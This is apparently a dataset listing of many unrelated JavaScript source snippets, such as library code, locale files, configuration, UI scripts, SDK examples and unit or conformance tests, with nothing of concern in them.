text
stringlengths
2
6.14k
// Copyright 2015 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** Name of the state. Can be used in, e.g., $state.go method. */ export const stateName = 'ingress.list';
/** * @ngdoc directive * @memberof ngMap * @name ng-map * @param Attr2Options {service} * convert html attribute to Gogole map api options * @description * Implementation of {@link __MapController} * Initialize a Google map within a `<div>` tag * with given options and register events * * @attr {Expression} map-initialized * callback function when map is initialized * e.g., map-initialized="mycallback(map)" * @attr {Expression} geo-callback if center is an address or current location, * the expression is will be executed when geo-lookup is successful. * e.g., geo-callback="showMyStoreInfo()" * @attr {Array} geo-fallback-center * The center of map incase geolocation failed. i.e. [0,0] * @attr {Object} geo-location-options * The navigator geolocation options. * e.g., { maximumAge: 3000, timeout: 5000, enableHighAccuracy: true }. * If none specified, { timeout: 5000 }. * If timeout not specified, timeout: 5000 added * @attr {Boolean} zoom-to-include-markers * When true, map boundary will be changed automatially * to include all markers when initialized * @attr {Boolean} default-style * When false, the default styling, * `display:block;height:300px`, will be ignored. * @attr {String} &lt;MapOption> Any Google map options, * https://developers.google.com/maps/documentation/javascript/reference?csw=1#MapOptions * @attr {String} &lt;MapEvent> Any Google map events, * https://rawgit.com/allenhwkim/angularjs-google-maps/master/build/map_events.html * @attr {Boolean} single-info-window * When true the map will only display one info window at the time, * if not set or false, * everytime an info window is open it will be displayed with the othe one. * @example * Usage: * <map MAP_OPTIONS_OR_MAP_EVENTS ..> * ... Any children directives * </map> * * Example: * <map center="[40.74, -74.18]" on-click="doThat()"> * </map> * * <map geo-fallback-center="[40.74, -74.18]" zoom-to-inlude-markers="true"> * </map> */ (function () { 'use strict'; var mapDirective = function () { return { restrict: 'AE', controller: '__MapController', conrollerAs: 'ngmap' }; }; angular.module('ngMap').directive('map', [mapDirective]); angular.module('ngMap').directive('ngMap', [mapDirective]); })();
define( ({ loadingInfo: "جاري التحميل...", emptyInfo: "لا توجد بنود ليتم عرضها", loadFailInfo: "لم تنجح عملية تحميل البيانات!", loadMore: "المزيد من التحميل", loadMoreLoading: "جاري التحميل...", loadPrevious: "تحميل السابق", loadPreviousLoading: "جاري التحميل..." }) );
// Copyright 2011 Splunk, Inc. // // Licensed under the Apache License, Version 2.0 (the "License"): you may // not use this file except in compliance with the License. You may obtain // a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, WITHOUT // WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the // License for the specific language governing permissions and limitations // under the License. // This example will login to Splunk, perform a regular search, wait until // it is done, and then print out the raw results and some key-value pairs var splunkjs = require('../../../index'); var Async = splunkjs.Async; exports.main = function(opts, callback) { // This is just for testing - ignore it opts = opts || {}; var username = opts.username || "admin"; var password = opts.password || "changeme"; var scheme = opts.scheme || "https"; var host = opts.host || "localhost"; var port = opts.port || "8089"; var version = opts.version || "default"; var service = new splunkjs.Service({ username: username, password: password, scheme: scheme, host: host, port: port, version: version }); Async.chain([ // First, we log in function(done) { service.login(done); }, // Perform the search function(success, done) { if (!success) { done("Error logging in"); } service.search("search index=_internal | head 3", {}, done); }, // Wait until the job is done function(job, done) { job.track({}, function(job) { // Ask the server for the results job.results({}, done); }); }, // Print out the statistics and get the results function(results, job, done) { // Print out the statics console.log("Job Statistics: "); console.log(" Event Count: " + job.properties().eventCount); console.log(" Disk Usage: " + job.properties().diskUsage + " bytes"); console.log(" Priority: " + job.properties().priority); // Find the index of the fields we want var rawIndex = results.fields.indexOf("_raw"); var sourcetypeIndex = results.fields.indexOf("sourcetype"); var userIndex = results.fields.indexOf("user"); // Print out each result and the key-value pairs we want console.log("Results: "); for(var i = 0; i < results.rows.length; i++) { console.log(" Result " + i + ": "); console.log(" sourcetype: " + results.rows[i][sourcetypeIndex]); console.log(" user: " + results.rows[i][userIndex]); console.log(" _raw: " + results.rows[i][rawIndex]); } // Once we're done, cancel the job. job.cancel(done); } ], function(err) { callback(err); } ); }; if (module === require.main) { exports.main({}, function() {}); }
/* * Copyright (c) Microsoft Corporation. All rights reserved. * Licensed under the MIT License. See License.txt in the project root for * license information. * * Code generated by Microsoft (R) AutoRest Code Generator. * Changes may cause incorrect behavior and will be lost if the code is * regenerated. */ 'use strict'; const models = require('./index'); /** * @class * Initializes a new instance of the Provider class. * @constructor * Resource provider information. * * @member {string} [id] The provider ID. * * @member {string} [namespace] The namespace of the resource provider. * * @member {string} [registrationState] The registration state of the provider. * * @member {array} [resourceTypes] The collection of provider resource types. * */ class Provider { constructor() { } /** * Defines the metadata of Provider * * @returns {object} metadata of Provider * */ mapper() { return { required: false, serializedName: 'Provider', type: { name: 'Composite', className: 'Provider', modelProperties: { id: { required: false, readOnly: true, serializedName: 'id', type: { name: 'String' } }, namespace: { required: false, serializedName: 'namespace', type: { name: 'String' } }, registrationState: { required: false, readOnly: true, serializedName: 'registrationState', type: { name: 'String' } }, resourceTypes: { required: false, readOnly: true, serializedName: 'resourceTypes', type: { name: 'Sequence', element: { required: false, serializedName: 'ProviderResourceTypeElementType', type: { name: 'Composite', className: 'ProviderResourceType' } } } } } } }; } } module.exports = Provider;
#!/usr/bin/env node /** * So we need two builds of sp-frontend with marginal changes for electron. The one for deployment at https://stream.place/ uses a root of "/" and the one for Electon uses a root of ".". This does * that. */ /* eslint-disable no-console */ const child = require("child_process"); const fs = require("fs-extra"); const path = require("path"); const pkgRoot = path.resolve(__dirname, ".."); const oldPkgStr = fs.readFileSync( path.resolve(pkgRoot, "package.json"), "utf8" ); fs.removeSync(path.resolve(pkgRoot, "build")); fs.removeSync((pkgRoot, "build-electron")); const newPkg = { ...JSON.parse(oldPkgStr), homepage: "." }; fs.writeFileSync( path.resolve(pkgRoot, "package.json"), JSON.stringify(newPkg, null, 2) ); console.log("++++ building sp-frontend for electron ++++"); child.execSync("npm run prepare:build", { cwd: pkgRoot, stdio: "inherit" }); fs.renameSync( path.resolve(pkgRoot, "build"), path.resolve(pkgRoot, "build-electron") ); fs.writeFileSync(path.resolve(pkgRoot, "package.json"), oldPkgStr); console.log("++++ building sp-frontend for browsers ++++"); child.execSync("npm run prepare:build", { cwd: pkgRoot, stdio: "inherit" });
function validate() { $("#app-form").bootstrapValidator({ message: "This value is not valid", feedbackIcons: { valid: "glyphicon glyphicon-ok", invalid: "glyphicon glyphicon-remove", validating: "glyphicon glyphicon-refresh" }, fields: { appName: { validators: { notEmpty: { message: $.i18n.prop("app-name-not-null") }, stringLength: { max: 100, message: $.i18n.prop("app-name-length-limit") }, callback: { message: $.i18n.prop("app-name-exists"), callback: function() { var appName = $("#app-name").val(); var result = true; $.ajax({ url: "/api/app/" + appName, contentType: "application/json", async: false, success: function(data) { if (null !== data) { result = false; } } }); return result; } } } }, bootstrapScript: { validators: { notEmpty: { message: $.i18n.prop("app-bootstrap-script-not-null") } } }, cpuCount: { validators: { notEmpty: { message: $.i18n.prop("app-cpu-count-not-null") }, regexp: { regexp: /^(-?\d+)(\.\d+)?$/, message: $.i18n.prop("app-cpu-count-regexp-limit") } } }, appMemory: { validators: { notEmpty: { message: $.i18n.prop("app-memory-not-null") } } }, eventTraceSamplingCount: { validators: { notEmpty: { message: $.i18n.prop("event-trace-sampling-count-not-null") } } }, appURL: { validators: { notEmpty: { message: $.i18n.prop("app-url-not-null") } } } } }); } function submitConfirm(type, modal) { $("#save-button").on("click", function() { var bootstrapValidator = $("#app-form").data("bootstrapValidator"); bootstrapValidator.validate(); if(bootstrapValidator.isValid()) { $.ajax({ type: type, dataType: "json", data: JSON.stringify(getApp()), url: "/api/app", contentType: "application/json", success: function(data) { modal.modal("hide"); $("#app-table").bootstrapTable("refresh"); $(".modal-backdrop").remove(); $("body").removeClass("modal-open"); refreshAppNavTag(); } }); } }); } function getApp() { return { appName: $("#app-name").val(), cpuCount: $("#cpu-count").val(), memoryMB: $("#app-memory").val(), bootstrapScript: $("#bootstrap-script").val(), appCacheEnable: $("#app-cache-enable").prop("checked"), appURL: $("#app-url").val(), eventTraceSamplingCount: $("#event-trace-sampling-count").val() }; }
Bridge.merge(new System.Globalization.CultureInfo("quc", true), { englishName: "K'iche'", nativeName: "K'iche'", numberFormat: Bridge.merge(new System.Globalization.NumberFormatInfo(), { nanSymbol: "NeuN", negativeSign: "-", positiveSign: "+", negativeInfinitySymbol: "-Infinito", positiveInfinitySymbol: "Infinito", percentSymbol: "%", percentGroupSizes: [3], percentDecimalDigits: 2, percentDecimalSeparator: ".", percentGroupSeparator: ",", percentPositivePattern: 0, percentNegativePattern: 0, currencySymbol: "Q", currencyGroupSizes: [3], currencyDecimalDigits: 2, currencyDecimalSeparator: ".", currencyGroupSeparator: ",", currencyNegativePattern: 1, currencyPositivePattern: 0, numberGroupSizes: [3], numberDecimalDigits: 2, numberDecimalSeparator: ".", numberGroupSeparator: ",", numberNegativePattern: 1 }), dateTimeFormat: Bridge.merge(new System.Globalization.DateTimeFormatInfo(), { abbreviatedDayNames: ["juq'","kaq'","oxq'","kajq'","joq'","waqq'","wuqq'"], abbreviatedMonthGenitiveNames: ["nab'e","ukab'","urox","ukaj","uro","uwaq","uwuq","uwajxaq","ub'elej","ulaj","ujulaj","ukab'laj",""], abbreviatedMonthNames: ["nab'e","ukab'","urox","ukaj","uro","uwaq","uwuq","uwajxaq","ub'elej","ulaj","ujulaj","ukab'laj",""], amDesignator: "a.m.", dateSeparator: "/", dayNames: ["juq'ij","kaq'ij","oxq'ij","kajq'ij","joq'ij","waqq'ij","wuqq'ij"], firstDayOfWeek: 1, fullDateTimePattern: "dddd, dd' rech 'MMMM' rech 'yyyy h:mm:ss tt", longDatePattern: "dddd, dd' rech 'MMMM' rech 'yyyy", longTimePattern: "h:mm:ss tt", monthDayPattern: "d' rech 'MMMM", monthGenitiveNames: ["nab'e ik'","ukab' ik'","urox ik'","ukaj ik'","uro ik'","uwaq ik'","uwuq ik'","uwajxaq ik'","ub'elej ik'","ulaj ik'","ujulaj ik'","ukab'laj ik'",""], monthNames: ["nab'e ik'","ukab' ik'","urox ik'","ukaj ik'","uro ik'","uwaq ik'","uwuq ik'","uwajxaq ik'","ub'elej ik'","ulaj ik'","ujulaj ik'","ukab'laj ik'",""], pmDesignator: "p.m.", rfc1123: "ddd, dd MMM yyyy HH':'mm':'ss 'GMT'", shortDatePattern: "dd/MM/yyyy", shortestDayNames: ["ju","ka","ox","kj","jo","wa","wu"], shortTimePattern: "h:mm tt", sortableDateTimePattern: "yyyy'-'MM'-'dd'T'HH':'mm':'ss", sortableDateTimePattern1: "yyyy'-'MM'-'dd", timeSeparator: ":", universalSortableDateTimePattern: "yyyy'-'MM'-'dd HH':'mm':'ss'Z'", yearMonthPattern: "MMMM' rech 'yyyy", roundtripFormat: "yyyy'-'MM'-'dd'T'HH':'mm':'ss.fffffffzzz" }), TextInfo: Bridge.merge(new System.Globalization.TextInfo(), { ANSICodePage: 1252, CultureName: "quc-Latn-GT", EBCDICCodePage: 20284, IsRightToLeft: false, LCID: 1158, listSeparator: ",", MacCodePage: 10000, OEMCodePage: 850, IsReadOnly: true }) });
/* <![CDATA[ */ (function($){ "use strict"; $(document).ready(function(){ /* FitVid ================================================== */ $(".ut-video").fitVids(); /* Animated Skillbar ================================================== */ $(".ut-skill-active").each(function(i, el){ var el = $(el), bar_width = el.data('width'); if ( el.visible(true) && !el.hasClass('ut-already-visible') ) { el.stop(true, true).animate({width : bar_width+"%"} , 1000 ); el.addClass('ut-already-visible'); } }); /* Milestone Counter - animate when visible on load ================================================== */ $('.ut-counter').each(function(i, el){ var counter = $(el).data('counter'); if ( $(el).visible(true) && !$(el).hasClass('ut-already-counted') ) { setTimeout ( function () { $(el).addClass('ut-already-counted'); $(el).find('.ut-count').countTo({ from: 0, to: counter, speed: 2000, refreshInterval: 100 }); }, 1000 ); } }); var win = $(window), allMods = $(".ut-animate-image, .ut-counter, .ut-skill-active"); /* Image already visible when page is loaded ================================================== */ $(".ut-animate-image").each(function(i, el) { if ($(el).visible(true)) { var el = $(el), effecttype = el.data('effecttype'); if( effecttype === 'image' ) { var effect = el.data('effect'); if ( el.visible(true) ) { el.addClass( effect ); } else { el.removeClass( effect + " ut-already-visible"); } } } }); /* Run Site Effect Animation ================================================== */ win.scroll( function(event) { allMods.each(function(i, el) { var el = $(el), effecttype = el.data('effecttype'); if( effecttype === 'image' ) { var effect = el.data('effect'); if ( el.visible(true) && !el.hasClass( effect ) ) { el.addClass( effect ); } else if( !el.visible(true) ) { el.removeClass( effect ); } } if( effecttype === 'skillbar' ) { var bar_width = el.data('width'); if ( el.visible(true) && !el.hasClass('ut-already-visible') ) { el.addClass("ut-already-visible"); el.stop(true, true).animate({width : bar_width+"%"} , 1000 ); } else if( !el.visible(true) ) { el.removeClass("ut-already-visible"); el.css("width" , 0); } } if( effecttype === 'counter') { var counter = el.data('counter'); if ( el.visible(true) && !$(el).hasClass('ut-already-counted') ) { el.addClass('ut-already-counted'); el.find('.ut-count').countTo({ from: 0, to: counter, speed: 2000, refreshInterval: 100 }); } } }); }); }); $.fn.countTo = function (options) { options = options || {}; return $(this).each(function () { // set options for current element var settings = $.extend({}, $.fn.countTo.defaults, { from: $(this).data('from'), to: $(this).data('to'), speed: $(this).data('speed'), refreshInterval: $(this).data('refresh-interval'), decimals: $(this).data('decimals') }, options); // how many times to update the value, and how much to increment the value on each update var loops = Math.ceil(settings.speed / settings.refreshInterval), increment = (settings.to - settings.from) / loops; // references & variables that will change with each update var self = this, $self = $(this), loopCount = 0, value = settings.from, data = $self.data('countTo') || {}; $self.data('countTo', data); // if an existing interval can be found, clear it first if (data.interval) { clearInterval(data.interval); } data.interval = setInterval(updateTimer, settings.refreshInterval); // initialize the element with the starting value render(value); function updateTimer() { value += increment; loopCount++; render(value); if (typeof(settings.onUpdate) == 'function') { settings.onUpdate.call(self, value); } if (loopCount >= loops) { // remove the interval $self.removeData('countTo'); clearInterval(data.interval); value = settings.to; if (typeof(settings.onComplete) == 'function') { settings.onComplete.call(self, value); } } } function render(value) { var formattedValue = settings.formatter.call(self, value, settings); $self.html(formattedValue); } }); }; $.fn.countTo.defaults = { from: 0, // the number the element should start at to: 0, // the number the element should end at speed: 1000, // how long it should take to count between the target numbers refreshInterval: 100, // how often the element should be updated decimals: 0, // the number of decimal places to show formatter: formatter, // handler for formatting the value before rendering onUpdate: null, // callback method for every time the element is updated onComplete: null // callback method for when the element finishes updating }; function formatter(value, settings) { return value.toFixed(settings.decimals); } })(jQuery); /* ]]> */
// Copyright (C) 2018 Leo Balter. All rights reserved. // This code is governed by the BSD license found in the LICENSE file. /*--- esid: sec-array.prototype.flatMap description: > array-like objects can be flattened (typedArrays) info: | Array.prototype.flatMap ( mapperFunction [ , thisArg ] ) 1. Let O be ? ToObject(this value). 2. Let sourceLen be ? ToLength(? Get(O, "length")). ... 5. Let A be ? ArraySpeciesCreate(O, 0). ... ArraySpeciesCreate ( originalArray, length ) 3. Let isArray be ? IsArray(originalArray). 4. If isArray is false, return ? ArrayCreate(length). 5. Let C be ? Get(originalArray, "constructor"). includes: [compareArray.js] features: [Array.prototype.flatMap, Int32Array] ---*/ function same(e) { return e; } var ta; var actual; ta = new Int32Array([1, 0, 42]); Object.defineProperty(ta, 'constructor', { get() { throw "it should not object the typedarray ctor"; } }); actual = [].flatMap.call(ta, same); assert.compareArray(actual, [1, 0, 42], 'compare returned array'); assert.sameValue(Object.getPrototypeOf(actual), Array.prototype, 'returned object is an array #1'); assert.sameValue(actual instanceof Int32Array, false, 'returned object is not an instance of Int32Array #1'); ta = new Int32Array(0); Object.defineProperty(ta, 'constructor', { get() { throw "it should not object the typedarray ctor"; } }); actual = [].flatMap.call(ta, same); assert.compareArray(actual, [], 'compare returned empty array'); assert.sameValue(Object.getPrototypeOf(actual), Array.prototype, 'returned object is an array #2'); assert.sameValue(actual instanceof Int32Array, false, 'returned object is not an instance of Int32Array #2');
// Copyright 2009 the Sputnik authors. All rights reserved. // This code is governed by the BSD license found in the LICENSE file. /*--- info: The valueOf method returns its "this" value es5id: 15.2.4.4_A1_T3 description: "\"this\" value is a string" ---*/ //CHECK#1 if (typeof Object.prototype.valueOf !== "function") { $ERROR('#1: valueOf method defined'); } var obj = new Object("greenfield"); //CHECK#2 if (typeof obj.valueOf !== "function") { $ERROR('#2: valueOf method accessed'); } //CHECK#3 if (obj.valueOf() !== "greenfield") { $ERROR('#3: The valueOf method returns its this value'); }
'use strict'; const test = require('tape'), routes = require('../lib/app/routes.js'); test('Routes tests', t => { t.plan(2); t.test('should use room from params for route redir', st => { st.plan(4); const query = { room: 'random' }, redir = routes.findRedirect(query), url = 'https://gitter.im/' + query.room; st.ok(redir.room, 'route has a room'); st.ok(redir.org, 'route has an org'); st.ok(redir.url, 'route has a url'); st.equal(redir.url, url, 'route url is correct'); st.end(); }); t.test('should find DM room go URI', st => { st.plan(3); const query = { room: 'bothelp' }, redir = routes.findRedirect(query), url = 'https://gitter.im/' + query.room; st.ok(redir.room, 'route has a room'); st.ok(redir.url, 'route has a url'); st.equal(redir.url, url, 'route url is correct'); st.end(); }); });
define([ "./ObservablePath", "./BindingSourceList", "./BindingTarget", "./Each", "./schedule", "./computed", "./wrapper" ], 1);
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.default = function (recalc) { if (!size && size !== 0 || recalc) { if (_ExecutionEnvironment2.default.canUseDOM) { var scrollDiv = document.createElement("div"); scrollDiv.style.position = "absolute"; scrollDiv.style.top = "-9999px"; scrollDiv.style.width = "50px"; scrollDiv.style.height = "50px"; scrollDiv.style.overflow = "scroll"; document.body.appendChild(scrollDiv); size = scrollDiv.offsetWidth - scrollDiv.clientWidth; document.body.removeChild(scrollDiv); } } return size; }; var _ExecutionEnvironment = require("./ExecutionEnvironment.js"); var _ExecutionEnvironment2 = _interopRequireDefault(_ExecutionEnvironment); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var size = void 0;
$(document).ready(function() { $(".range_date_field").datepicker({ showOtherMonths: true, selectOtherMonths: true, changeMonth: true, changeYear: true, minDate: "-10Y", maxDate: "+2Y", dateFormat: "dd/mm/yy" }); $("input[type=submit]").button(); $("th.persona").parent().css("background-color", "lightpink"); $("th.assessore").parent().css("background-color", "lightblue"); $("#result_list tr:last").prepend( "<th colspan='" + ($("#result_list tr:first").children().length - $("#result_list tr:last").children().length) +"'>Totali:</th>"); $("#result_list tr:last").children().css("padding-top", "20px"); });
var gulp = require('gulp'); gulp.task('default', function () { // place code for your default task here });
// Karma configuration // Generated on Tue Jan 14 2014 14:55:10 GMT+0100 (CET) module.exports = function(config) { config.set({ // base path, that will be used to resolve files and exclude basePath: '../', // frameworks to use frameworks: ['mocha', 'requirejs'], // list of files / patterns to load in the browser files: [ 'lib/jquery/jquery.js', 'test/lib/expect.js', 'test/lib/sinon-1.7.3.js', { pattern: 'src/*.js', included: false, served: true }, // Tests { pattern: 'test/*_test.js', included: false, served: true }, // Test config 'test/test-main.js' ], // list of files to exclude exclude: [ 'src/_start.js', 'src/_end.js' ], preprocessors: { 'src/*.js': ['coverage'] }, coverageReporter: { type: 'cobertura', dir: 'coverage/' }, junitReporter: { suite: 'GoodData-js Unit', outputFile: 'test/test-results.xml' }, // test results reporter to use // possible values: 'dots', 'progress', 'junit', 'growl', 'coverage' reporters: ['progress', 'junit', 'coverage'], // web server port port: 9876, // enable / disable colors in the output (reporters and logs) colors: true, // level of logging // possible values: config.LOG_DISABLE || config.LOG_ERROR || config.LOG_WARN || config.LOG_INFO || config.LOG_DEBUG logLevel: config.LOG_INFO, // enable / disable watching file and executing tests whenever any file changes autoWatch: false, // Start these browsers, currently available: // - Chrome // - ChromeCanary // - Firefox // - Opera (has to be installed with `npm install karma-opera-launcher`) // - Safari (only Mac; has to be installed with `npm install karma-safari-launcher`) // - PhantomJS // - IE (only Windows; has to be installed with `npm install karma-ie-launcher`) browsers: ['PhantomJS'], // If browser does not capture in given timeout [ms], kill it captureTimeout: 60000, // Continuous Integration mode // if true, it capture browsers, run tests and exit singleRun: true }); };
import Vue from 'vue'; import store from '~/ide/stores'; import List from '~/ide/components/merge_requests/list.vue'; import { createComponentWithStore } from '../../../helpers/vue_mount_component_helper'; import { mergeRequests } from '../../mock_data'; import { resetStore } from '../../helpers'; describe('IDE merge requests list', () => { const Component = Vue.extend(List); let vm; beforeEach(() => { vm = createComponentWithStore(Component, store, {}); spyOn(vm, 'fetchMergeRequests'); vm.$mount(); }); afterEach(() => { vm.$destroy(); resetStore(vm.$store); }); it('calls fetch on mounted', () => { expect(vm.fetchMergeRequests).toHaveBeenCalledWith({ search: '', type: '', }); }); it('renders loading icon', done => { vm.$store.state.mergeRequests.isLoading = true; vm.$nextTick(() => { expect(vm.$el.querySelector('.loading-container')).not.toBe(null); done(); }); }); it('renders no search results text when search is not empty', done => { vm.search = 'testing'; vm.$nextTick(() => { expect(vm.$el.textContent).toContain('No merge requests found'); done(); }); }); it('clicking on search type, sets currentSearchType and loads merge requests', done => { vm.onSearchFocus(); vm.$nextTick() .then(() => { vm.$el.querySelector('li button').click(); return vm.$nextTick(); }) .then(() => { expect(vm.currentSearchType).toEqual(vm.$options.searchTypes[0]); expect(vm.fetchMergeRequests).toHaveBeenCalledWith({ type: vm.currentSearchType.type, search: '', }); }) .then(done) .catch(done.fail); }); describe('with merge requests', () => { beforeEach(done => { vm.$store.state.mergeRequests.mergeRequests.push({ ...mergeRequests[0], projectPathWithNamespace: 'gitlab-org/gitlab-ce', }); vm.$nextTick(done); }); it('renders list', () => { expect(vm.$el.querySelectorAll('li').length).toBe(1); expect(vm.$el.querySelector('li').textContent).toContain(mergeRequests[0].title); }); }); describe('searchMergeRequests', () => { beforeEach(() => { spyOn(vm, 'loadMergeRequests'); jasmine.clock().install(); }); afterEach(() => { jasmine.clock().uninstall(); }); it('calls loadMergeRequests on input in search field', () => { const event = new Event('input'); vm.$el.querySelector('input').dispatchEvent(event); jasmine.clock().tick(300); expect(vm.loadMergeRequests).toHaveBeenCalled(); }); }); describe('onSearchFocus', () => { it('shows search types', done => { vm.$el.querySelector('input').dispatchEvent(new Event('focus')); expect(vm.hasSearchFocus).toBe(true); expect(vm.showSearchTypes).toBe(true); vm.$nextTick() .then(() => { const expectedSearchTypes = vm.$options.searchTypes.map(x => x.label); const renderedSearchTypes = Array.from(vm.$el.querySelectorAll('li')).map(x => x.textContent.trim(), ); expect(renderedSearchTypes).toEqual(expectedSearchTypes); }) .then(done) .catch(done.fail); }); it('does not show search types, if already has search value', () => { vm.search = 'lorem ipsum'; vm.$el.querySelector('input').dispatchEvent(new Event('focus')); expect(vm.hasSearchFocus).toBe(true); expect(vm.showSearchTypes).toBe(false); }); it('does not show search types, if already has a search type', () => { vm.currentSearchType = {}; vm.$el.querySelector('input').dispatchEvent(new Event('focus')); expect(vm.hasSearchFocus).toBe(true); expect(vm.showSearchTypes).toBe(false); }); it('resets hasSearchFocus when search changes', done => { vm.hasSearchFocus = true; vm.search = 'something else'; vm.$nextTick() .then(() => { expect(vm.hasSearchFocus).toBe(false); }) .then(done) .catch(done.fail); }); }); });
/** * @author alteredq / http://alteredqualia.com/ * @author mrdoob / http://mrdoob.com/ * @author WestLangley / http://github.com/WestLangley */ import { Vector3 } from '../math/Vector3.js'; import { Object3D } from '../core/Object3D.js'; import { LineSegments } from '../objects/LineSegments.js'; import { LineBasicMaterial } from '../materials/LineBasicMaterial.js'; import { Float32BufferAttribute } from '../core/BufferAttribute.js'; import { BufferGeometry } from '../core/BufferGeometry.js'; var _vector = new Vector3(); function SpotLightHelper( light, color ) { Object3D.call( this ); this.light = light; this.light.updateMatrixWorld(); this.matrix = light.matrixWorld; this.matrixAutoUpdate = false; this.color = color; var geometry = new BufferGeometry(); var positions = [ 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, - 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, - 1, 1 ]; for ( var i = 0, j = 1, l = 32; i < l; i ++, j ++ ) { var p1 = ( i / l ) * Math.PI * 2; var p2 = ( j / l ) * Math.PI * 2; positions.push( Math.cos( p1 ), Math.sin( p1 ), 1, Math.cos( p2 ), Math.sin( p2 ), 1 ); } geometry.setAttribute( 'position', new Float32BufferAttribute( positions, 3 ) ); var material = new LineBasicMaterial( { fog: false, toneMapped: false } ); this.cone = new LineSegments( geometry, material ); this.add( this.cone ); this.update(); } SpotLightHelper.prototype = Object.create( Object3D.prototype ); SpotLightHelper.prototype.constructor = SpotLightHelper; SpotLightHelper.prototype.dispose = function () { this.cone.geometry.dispose(); this.cone.material.dispose(); }; SpotLightHelper.prototype.update = function () { this.light.updateMatrixWorld(); var coneLength = this.light.distance ? this.light.distance : 1000; var coneWidth = coneLength * Math.tan( this.light.angle ); this.cone.scale.set( coneWidth, coneWidth, coneLength ); _vector.setFromMatrixPosition( this.light.target.matrixWorld ); this.cone.lookAt( _vector ); if ( this.color !== undefined ) { this.cone.material.color.set( this.color ); } else { this.cone.material.color.copy( this.light.color ); } }; export { SpotLightHelper };
(function() { window.samples.todo_lighted_spinning_cube = { initialize: function(canvas) { var scene = new THREE.Scene(); var camera = new THREE.PerspectiveCamera( 30, sample_defaults.width / sample_defaults.height, 1, 1000 ); camera.position.set(0, 3, 7); camera.lookAt( new THREE.Vector3(0,0,0)); var scale = 2.5; var geometry = new THREE.CubeGeometry( scale, scale, scale ); var material = new THREE.MeshPhongMaterial({ color: 0xdddddd }); var mesh = new THREE.Mesh( geometry, material ); scene.add( mesh ); // ASSIGNMENT var directionalLight = new THREE.DirectionalLight ( 0xffffffff ); directionalLight.position.set(0, 3, 7); scene.add( directionalLight ); // ASSIGNMENT var renderer = new THREE.WebGLRenderer({canvas: canvas, antialias: true}); renderer.setSize( sample_defaults.width, sample_defaults.height ); var instance = { active: false }; function animate() { requestAnimationFrame( animate, canvas ); if(!instance.active || sample_defaults.paused) return; mesh.rotation.y += 0.008; renderer.render( scene, camera ); } animate(); return instance; } }; })();
angular.module('IntrepidJS').directive('ngShare', ['$location', 'i18n', function($location, i18n) { return { restrict: "E", template: "<div class='btn-group'><span data-toggle='dropdown' " + "class='dropdown-toggle pointer'> " + "<i class='fa fa-share-alt fa-fw'></i></span>" + "<ul role='menu' class='dropdown-menu'></ul></div>", replace: true, link: function ($scope, element, attrs) { var path = $location.absUrl().replace($location.url(), ''); var ul = angular.element(element).find('ul'); var doAll = function () { var items = angular.copy(share_widgets); var text = attrs.text ? attrs.text : document.title; var link = attrs.link ? path + attrs.link : $location.absUrl(); ul.empty(); _.each(items, function(w) { w.link = w.link.replace('@text', encodeURIComponent(text)); w.link = w.link.replace('@link', encodeURIComponent(link)); var li = "<li><a href='" + w.link + "' target='_blank'>" + "<i class='" + w.icon + " fa-fw'></i>&nbsp; " + "<span>" + i18n.__('Share on') + " " + w.name + "</span></a></li>"; ul.append(li); }); }; attrs.$observe('text', function(text) { if (text) doAll(); }); attrs.$observe('link', function(link) { if (link) doAll(); }); } }; }]);
'use strict'; /** * Module dependencies */ var racesPolicy = require('../policies/races.server.policy'), races = require('../controllers/races.server.controller'); module.exports = function(app) { // Races Routes app.route('/api/races').all(racesPolicy.isAllowed) .get(races.list) .post(races.create); app.route('/api/races/:raceId').all(racesPolicy.isAllowed) .get(races.read) .put(races.update) .delete(races.delete); // Finish by binding the Race middleware app.param('raceId', races.raceByID); };
import Footer from './Footer'; import Nav from './Nav'; import Layout from './Layout'; export default { Nav, Layout, Footer };
var getArticleInfo = new XMLHttpRequest(); getArticleInfo.open("GET", "articleName.html"); getArticleInfo.send(); getArticleInfo.onreadystatechange = function() { var text = document.getElementById("textTarget"); if ((getArticleInfo.readyState === 4) && (getArticleInfo.status === 200)) { text.innerHTML = getArticleInfo.responseText; } else { console.log("There was a problem with the request."); } };
CAAT.Module({ defines : "CAAT.Module.Preloader.XHR", extendsWith : { /** * * @param callback function({string},{object}) a callback function. string will be "ok" or "error" * @param url {string} a url * @param asynch {bool} load synchronous or asynchronously * @param method {string} GET or POST */ load : function( callback, url, asynch, method ) { if (typeof asynch==="undefined") { asynch= true; } if (typeof method==="undefined") { method= "GET";; } var req = false; if(window.XMLHttpRequest && !(window.ActiveXObject)) { try { req = new XMLHttpRequest(); } catch(e) { req = false; } } else if(window.ActiveXObject) { try { req = new ActiveXObject("Msxml2.XMLHTTP"); } catch(e) { try { req = new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) { req = false; } } } if(req) { req.open(method, url, false); req.onreadystatechange = function(e) { if( req.status != 200 ) return callback("error"); var text= e.currentTarget ? e.currentTarget.responseText : e.target.responseText; callback("ok", text); } ; req.send(); } } } });
var postgres = require('../config.js').postgres; module.exports = function(ws, data) { if (data.action === 'list') { var patches = []; postgres.query('SELECT time, patch, user_email, id, parent FROM changes WHERE file_id=$1 AND time>$2 ORDER BY time ASC', [ws.docId, new Date(data.after || 0)]).on('row', function(row) { patches.push(row); }).on('end', function() { ws.sendJSON({ type: 'diff_list', reqId: data.reqId, patches: patches }); }); } };
import { usingEvalSync, usingEval } from '../lib/utils' export async function getServerSideProps() { return { props: await usingEval(), } } export default function Page(props) { return ( <div> {props.value} and {usingEvalSync().value} </div> ) }
